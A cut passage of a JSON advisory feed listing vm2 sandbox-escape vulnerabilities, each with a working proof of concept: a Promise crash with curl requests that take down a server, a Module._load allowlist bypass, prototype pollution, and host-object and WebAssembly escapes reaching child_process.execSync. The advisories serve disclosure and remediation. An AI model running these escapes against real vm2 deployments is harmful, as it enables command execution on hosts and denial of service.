impacted.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-07T04:26:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6785-pvv7-mvg7","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44004","https://github.com/advisories/GHSA-6785-pvv7-mvg7"],"source_kind":"github","identifiers":["GHSA-6785-pvv7-mvg7","CVE-2026-44004"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-16T06:03:39.156Z","epss_percentage":0.00665,"epss_percentile":0.50652,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Nzg1LXB2djctbXZnN84ABWYN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02Nzg1LXB2djctbXZnN84ABWYN","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02Nzg1LXB2djctbXZnN84ABWYN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1odzU4LXA5eHYtMm1qaM4ABWYM","url":"https://github.com/advisories/GHSA-hw58-p9xv-2mjh","title":"vm2 has a Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS)","description":"### Summary\nA sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the `onRejected` callback in `.then()` and `.catch()` overrides and did not address the executor-to-unhandledRejection path.\n\n### Details\nWhen sandboxed code creates a `Promise` whose executor sets `Error.name` to a `Symbol()` and then accesses `.stack`, V8's internal `FormatStackTrace` (C++) attempts `Symbol.toString()`, which throws a **host-realm TypeError**. Because this error originates inside the Promise executor and no `.catch()` handler is attached, it becomes an **unhandled rejection** that propagates to the host process.\n\n- `lib/setup-sandbox.js:38` — `localPromise` wraps the native `Promise` constructor but does not wrap the executor in try-catch.\n- `lib/setup-sandbox.js:165-230` — `resetPromiseSpecies` and the `.then()`/`.catch()` overrides sanitize the `onRejected` callback chains, but do not intercept unhandled rejections originating from the executor itself.\n\nThe CVE-2026-22709 patch (v3.10.2) sanitized `.then()` and `.catch()` callback chains but left the executor-to-unhandledRejection path completely open.\n\n**Root Cause**: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.\n\n**`allowAsync: false` does not help**: This setting only blocks `async`/`await` syntax and overrides `.then()`/`.catch()` to throw. The `Promise` constructor itself is still callable. Worse, because `.catch()` is blocked, any rejection from the executor is *guaranteed* to be unhandled — making `allowAsync: false` paradoxically more dangerous than `true` for this vulnerability.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\n\n// Works with ANY allowAsync setting — both true and false\nconst vm = new VM({ timeout: 5000, allowAsync: false });\n\ntry {\n  const result = vm.run(`\n    new Promise(function(r, j) {\n      var e = new Error();\n      e.name = Symbol();\n      e.stack;\n    });\n  `);\n  console.log(\"Result:\", result);   // Reaches here (returns Promise object)\n} catch (err) {\n  console.log(\"Caught:\", err);       // Never executed\n}\n\nconsole.log(\"After try-catch\");      // Also prints normally\n\n// But on the next microtask tick:\n// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]\n// Exit code: 1\n//\n// try-catch cannot help — vm.run() returns synchronously,\n// the rejection fires asynchronously outside any catch scope.\n//\n// NOTE: allowAsync: false only blocks async/await syntax and\n// .then()/.catch() method calls. The Promise constructor itself\n// still executes, and the unhandled rejection still propagates.\n// In fact, allowAsync: false makes it WORSE — .catch() is blocked,\n// so the rejection is guaranteed to be unhandled.\n```\n\n**HTTP demonstration (web service impact):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"\\\"alive\\\"\"}'\n# =\u003e {\"output\":[],\"errors\":[],\"result\":\"\\\"alive\\\"\",\"executionTime\":1}\n\n# 2. Send payload — server process will crash\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})\"}'\n\n# 3. Server is dead (connection refused until restart)\ncurl -s http://localhost:3000/  # =\u003e connection refused\n```\n\n### Impact\n- **DoS**: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.\n- **Persistent DoS despite restart policies**: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single `curl` request caused the Docker container to restart (confirmed via `StartedAt` timestamp change), and sending the next request immediately after restart triggered another crash. This creates a **continuous denial-of-service loop** where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served.\n- **Amplification**: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.\n- **Scope**: **All applications using vm2, regardless of `allowAsync` setting.** `allowAsync: false` only blocks `async`/`await` syntax and `.then()`/`.catch()` method calls — the `Promise` constructor itself still executes, and the unhandled rejection still propagates. In fact, `allowAsync: false` makes the vulnerability *worse* because `.catch()` is blocked, guaranteeing the rejection is always unhandled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-07T04:10:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh","https://github.com/advisories/GHSA-99p7-6v5w-7xg8","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44001","https://github.com/advisories/GHSA-hw58-p9xv-2mjh"],"source_kind":"github","identifiers":["GHSA-hw58-p9xv-2mjh","CVE-2026-44001"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-16T06:03:39.156Z","epss_percentage":0.00665,"epss_percentile":0.50651,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1odzU4LXA5eHYtMm1qaM4ABWYM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1odzU4LXA5eHYtMm1qaM4ABWYM","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1odzU4LXA5eHYtMm1qaM4ABWYM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NDdmLTR2N2YteDJ2OM4ABWYL","url":"https://github.com/advisories/GHSA-947f-4v7f-x2v8","title":"vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape","description":"## Summary\nNodeVM's `builtin` allowlist can be bypassed when the `module` builtin is allowed (including via the `'*'` wildcard). The `module` builtin exposes Node's `Module._load()`, which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like `child_process` and achieve remote code execution.\n\n## Severity\n**Critical** (CVSS 3.1: 9.9)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** Low — no special conditions required; `['*', '-child_process']` is a common, documented pattern\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed — escape from sandbox boundary to host system\n- **Confidentiality Impact:** High — arbitrary command execution on the host\n- **Integrity Impact:** High — arbitrary command execution on the host\n- **Availability Impact:** High — arbitrary command execution on the host\n\n## Affected Component\n- `lib/builtin.js` — `makeBuiltinsFromLegacyOptions()` (lines 109-117) — includes `module` in `'*'` expansion\n- `lib/builtin.js` — `addDefaultBuiltin()` (lines 86-90) — loads `module` with generic readonly wrapper\n- `lib/builtin.js` — `SPECIAL_MODULES` (line 61) — does NOT include `module`\n\n## CWE\n- **CWE-863**: Incorrect Authorization\n\n## Description\n\n### Root Cause: The `module` builtin provides unrestricted host module loading\n\nWhen `builtin: ['*', '-child_process']` is configured, `makeBuiltinsFromLegacyOptions` iterates over `BUILTIN_MODULES` and adds all modules not explicitly excluded:\n\n```js\n// lib/builtin.js:40\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\n    .filter(s=\u003e!s.startsWith('internal/'));\n\n// lib/builtin.js:109-117\nif (Array.isArray(builtins)) {\n    const def = builtins.indexOf('*') \u003e= 0;\n    if (def) {\n        for (let i = 0; i \u003c BUILTIN_MODULES.length; i++) {\n            const name = BUILTIN_MODULES[i];\n            if (builtins.indexOf(`-${name}`) === -1) {\n                addDefaultBuiltin(res, name, hostRequire);\n            }\n        }\n    }\n```\n\nNode's `builtinModules` includes `'module'` (verified: `require('module').builtinModules.includes('module')` → `true`). Since only `'-child_process'` is excluded, `'module'` passes the filter and gets added.\n\nThe `module` builtin is NOT in `SPECIAL_MODULES` (which only covers `events`, `buffer`, `util`), so it gets the generic loader:\n\n```js\n// lib/builtin.js:86-90\nfunction addDefaultBuiltin(builtins, key, hostRequire) {\n    if (builtins.has(key)) return;\n    const special = SPECIAL_MODULES[key];\n    builtins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n}\n```\n\nThis wraps Node's `Module` class in a readonly proxy and hands it to the sandbox.\n\n### The readonly proxy does not prevent method calls\n\n`ReadOnlyHandler` (bridge.js:940-983) only overrides mutation traps: `set`, `setPrototypeOf`, `defineProperty`, `deleteProperty`, `isExtensible`, `preventExtensions`. It does NOT override `get` or `apply`, which are inherited from `BaseHandler`.\n\n`BaseHandler.apply()` (bridge.js:665-677) forwards function calls directly to the host context:\n\n```js\napply(target, context, args) {\n    const object = getHandlerObject(this);\n    let ret;\n    try {\n        context = otherFromThis(context);\n        args = otherFromThisArguments(args);\n        ret = otherReflectApply(object, context, args);\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n    return thisFromOther(ret);\n}\n```\n\nSo `Module._load('child_process')` is forwarded to Node's native `Module._load` in the host context, which loads `child_process` without any vm2 allowlist check.\n\n### Inconsistent defense: some builtins are isolated, `module` is not\n\nThe codebase IS aware that certain builtins need special handling:\n\n- `events`: Gets a complete sandbox-native reimplementation via `lib/events.js`\n- `buffer`: Custom loader that only exposes the `Buffer` class\n- `util`: Custom loader that replaces `inherits` with a sandbox-safe version\n\nBut `module` — which provides access to the host's entire module loading infrastructure via `Module._load`, `Module._resolveFilename`, etc. — gets no special treatment at all.\n\n### Full execution chain\n\n1. Host configures `NodeVM` with `builtin: ['*', '-child_process']`\n2. `makeBuiltinsFromLegacyOptions` adds `'module'` to allowed builtins (not excluded)\n3. Sandbox code calls `require('module')` → resolver finds `'module'` in builtins → `loadBuiltinModule('module')`\n4. Loader calls `vm.readonly(hostRequire('module'))` → returns readonly proxy of Node's `Module` class\n5. Sandbox reads `Module._load` → `BaseHandler.get()` returns proxied function\n6. Sandbox calls `Module._load('child_process')` → `BaseHandler.apply()` forwards to host\n7. Host's `Module._load` loads `child_process` natively (no vm2 check involved)\n8. `child_process` module proxied back to sandbox\n9. Sandbox calls `child_process.execSync('id')` → executes on host → RCE\n\n## Proof of Concept\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Developer thinks child_process is blocked\nconst vm = new NodeVM({\n  require: {\n    builtin: ['*', '-child_process'],\n    external: false,\n  },\n});\n\nconst out = vm.run(`\n  const Module = require('module');\n  // Module._load bypasses vm2's builtin allowlist entirely\n  const cp = Module._load('child_process');\n  module.exports = cp.execSync('id').toString();\n`, 'poc.js');\n\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\n```\n\n## Impact\n- **Complete builtin allowlist bypass**: Any configuration that allows the `module` builtin (including `['*', '-X']` patterns) can load ANY builtin, including explicitly excluded ones.\n- **Remote code execution**: Sandboxed code can execute arbitrary commands on the host via `child_process.execSync`.\n- **Common configuration affected**: The `['*', '-child_process', '-fs']` pattern is documented and widely used by developers who want \"all builtins except dangerous ones.\"\n- **No special conditions**: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the `'*'` wildcard.\n- **Additional attack surfaces via `module`**: Beyond `_load`, the `Module` class also exposes `_resolveFilename`, `_cache`, `_pathCache`, and other internals that could be abused.\n\n## Recommended Remediation\n\n### Option 1: Exclude `module` from `BUILTIN_MODULES` entirely (Preferred)\n\nThe `module` builtin provides unrestricted host module loading and should never be exposed to the sandbox:\n\n```js\n// lib/builtin.js:40\nconst DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);\n\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\n    .filter(s =\u003e !s.startsWith('internal/') \u0026\u0026 !DANGEROUS_BUILTINS.has(s));\n```\n\nThis prevents `module` from being included even with the `'*'` wildcard. Consider also blocking `worker_threads` and `cluster` which can spawn processes.\n\n### Option 2: Add `module` to `SPECIAL_MODULES` with a safe wrapper\n\nIf `module` must be accessible, provide a sandbox-safe version that only exposes safe APIs:\n\n```js\n// lib/builtin.js\nconst SPECIAL_MODULES = {\n    events: { /* ... existing ... */ },\n    buffer: defaultBuiltinLoaderBuffer,\n    util: defaultBuiltinLoaderUtil,\n    module: function defaultBuiltinLoaderModule(vm) {\n        // Only expose safe, read-only metadata — no _load, no _resolveFilename\n        return vm.readonly({\n            builtinModules: [...nmod.builtinModules],\n            // Omit _load, _resolveFilename, _cache, createRequire, etc.\n        });\n    }\n};\n```\n\n**Tradeoff**: Breaks sandbox code that legitimately uses `Module` APIs, but those APIs are inherently unsafe in a sandbox context.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-07T04:08:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8","https://nvd.nist.gov/vuln/detail/CVE-2026-43999","https://github.com/advisories/GHSA-947f-4v7f-x2v8"],"source_kind":"github","identifiers":["GHSA-947f-4v7f-x2v8","CVE-2026-43999"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-12T12:04:50.403Z","epss_percentage":0.0097,"epss_percentile":0.60505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NDdmLTR2N2YteDJ2OM4ABWYL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NDdmLTR2N2YteDJ2OM4ABWYL","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NDdmLTR2N2YteDJ2OM4ABWYL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12d3JwLXg5NmMtbWh3cc4ABWYK","url":"https://github.com/advisories/GHSA-vwrp-x96c-mhwq","title":"vm2: Mutable Proxies for Host Intrinsic Prototypes Allows Sandbox Escape","description":"### Summary\nvm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox.\n\n### Details\nBaseHandler.apply() unwraps sandbox-controlled receivers and arguments with otherFromThis() / otherFromThisArguments() and then directly invokes the real host function with ret = otherReflectApply(object, context, args), so any default-exposed host function that can surface a prototype getter becomes a prototype-walking primitive ([lib/bridge.js:665-676](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L665-L676)). BaseHandler.get() special-cases __proto__ and returns the host-side descriptor or proxy target prototype, which is enough for the attacker to reuse the host __lookupGetter__('__proto__') accessor repeatedly until the walk lands on host Object.prototype, Array.prototype, or Function.prototype ([lib/bridge.js:590-616](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L590-L616)). Once the attacker has a proxy to a host intrinsic prototype, BaseHandler.set() performs value = otherFromThis(value); return otherReflectSet(object, key, value) === true;, which writes attacker-controlled data directly into the shared host object instead of keeping the mutation sandbox-local; BaseHandler.defineProperty() repeats the same design at otherReflectDefineProperty(object, prop, otherDesc) for descriptor-based writes ([lib/bridge.js:641-649](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L641-L649), [lib/bridge.js:753-774](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L753-L774)). Existing validation does not stop the attack because the constructor filter only blocks one dangerous-property access pattern, setPrototypeOf() only blocks prototype replacement rather than ordinary property assignment, and containsDangerousConstructor() only protects one later re-unwrapping path instead of the initial host-prototype write sink ([lib/bridge.js:494-530](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L494-L530), [lib/bridge.js:595-610](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L595-L610), [lib/bridge.js:660-662](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L660-L662)).\n\n### PoC\nRun the following code snippet and observe that the value of vm2EscapeMarker is polluted:\n```\nconst { VM } = require('vm2');\nconst vm = new VM();\nvm.run(`\n  const g = ({}).__lookupGetter__;\n  const a = Buffer.apply;\n  const p = a.apply(g, [Buffer, ['__proto__']]);\n  const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));\n  hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype';\n`);\nconsole.log({}.vm2EscapeMarker)\n```\n\n### Impact\nSandbox escape and prototype pollution.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-07T04:07:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44005","https://github.com/advisories/GHSA-vwrp-x96c-mhwq"],"source_kind":"github","identifiers":["GHSA-vwrp-x96c-mhwq","CVE-2026-44005"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-16T06:03:39.157Z","epss_percentage":0.00828,"epss_percentile":0.56573,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d3JwLXg5NmMtbWh3cc4ABWYK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12d3JwLXg5NmMtbWh3cc4ABWYK","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003e= 3.9.6, \u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d3JwLXg5NmMtbWh3cc4ABWYK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00N3g4LTk2dnctNXdnNs4ABWYJ","url":"https://github.com/advisories/GHSA-47x8-96vw-5wg6","title":"vm2 Access to Host Object Enables Sandbox Escape","description":"### Summary\n\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.\n\n### Details\n\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\n\n### PoC\n\n```js\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\nconst obj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})\")();\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-07T04:00:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-43997","https://github.com/advisories/GHSA-47x8-96vw-5wg6"],"source_kind":"github","identifiers":["GHSA-47x8-96vw-5wg6","CVE-2026-43997"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T05:00:08.183Z","updated_at":"2026-10-16T06:03:39.157Z","epss_percentage":0.00767,"epss_percentile":0.54508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00N3g4LTk2dnctNXdnNs4ABWYJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00N3g4LTk2dnctNXdnNs4ABWYJ","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00N3g4LTk2dnctNXdnNs4ABWYJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xY3A0LXYyamotZmp4OM4ABWYI","url":"https://github.com/advisories/GHSA-qcp4-v2jj-fjx8","title":"vm2 has a Sandbox Escape Vulnerability","description":"### Summary\n\nIt is possible to reach `BaseHandler.getPrototypeOf`, which can be used to get arbitrary prototypes\n\n### Details\n\nhttps://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658\n\n`BaseHandler` can be reached via `util.inspect` (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)\n\n### PoC\n```js\nlet obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice: () =\u003e '',\n};\n\nlet sym;\n\nobj.slice(10, {\n\tshowHidden: true,\n\tshowProxy: true,\n\tdepth: 10,\n\tstylize(a) {\n\t\tconst handler = this.seen \u0026\u0026 this.seen[1];\n\n\t\tif (handler \u0026\u0026 handler.getPrototypeOf) {\n\t\t\tgP = handler.getPrototypeOf;\n\t\t\tHObjectProto = gP(gP(gP(gP(Buffer))));\n\t\t\tHObject = HObjectProto.constructor;\n\t\t\tsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\t\t}\n\t\treturn a;\n\t},\n});\n\nobj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor('return process')()\n\t\t.getBuiltinModule('child_process')\n\t\t.execSync('id', { stdio: 'inherit' });\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\nSandbox Escape -\u003e RCE","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-07T03:54:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8","https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658","https://github.com/patriksimek/vm2/releases/tag/v3.11.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44006","https://github.com/advisories/GHSA-qcp4-v2jj-fjx8"],"source_kind":"github","identifiers":["GHSA-qcp4-v2jj-fjx8","CVE-2026-44006"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-10-16T06:03:39.158Z","epss_percentage":0.00767,"epss_percentile":0.54508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xY3A0LXYyamotZmp4OM4ABWYI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xY3A0LXYyamotZmp4OM4ABWYI","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.0","vulnerable_version_range":"\u003c= 3.10.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xY3A0LXYyamotZmp4OM4ABWYI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZmg0LWo2aDUtcGc2Ns4ABWLY","url":"https://github.com/advisories/GHSA-ffh4-j6h5-pg66","title":"VM2 Has a WASM Sandbox Escape","description":"## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\n\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n    const before = typeof process;\n\n    const err = new Error(\"x\");\n    err.name = Symbol();\n\n    const wasm = new Uint8Array([\n        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n        0x02,0x19,0x02,\n        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n        0x03,0x02,0x01,0x01,\n        0x07,0x0f,0x01,\n        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n        0x0a,0x12,0x01,0x10,0x00,\n        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n    ]);\n\n    const instance = new WebAssembly.Instance(\n        new WebAssembly.Module(wasm),\n        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n    );\n\n    const hostError = instance.exports.catch_error();\n    const p = hostError.constructor.constructor(\"return process\")();\n    const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n    const log = p.mainModule.require(\"console\").log;\n    log(\"\");\n    log(\"process before escape:\", before);\n    log(\"process after escape: \", typeof p);\n    log(\"host pid:             \", p.pid);\n    log(\"host node version:    \", p.version);\n    log(\"RCE:                  \", id);\n`);\n```\n\n```\n\u003e node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape:  object\nhost pid:              217\nhost node version:     v25.6.1\nRCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof 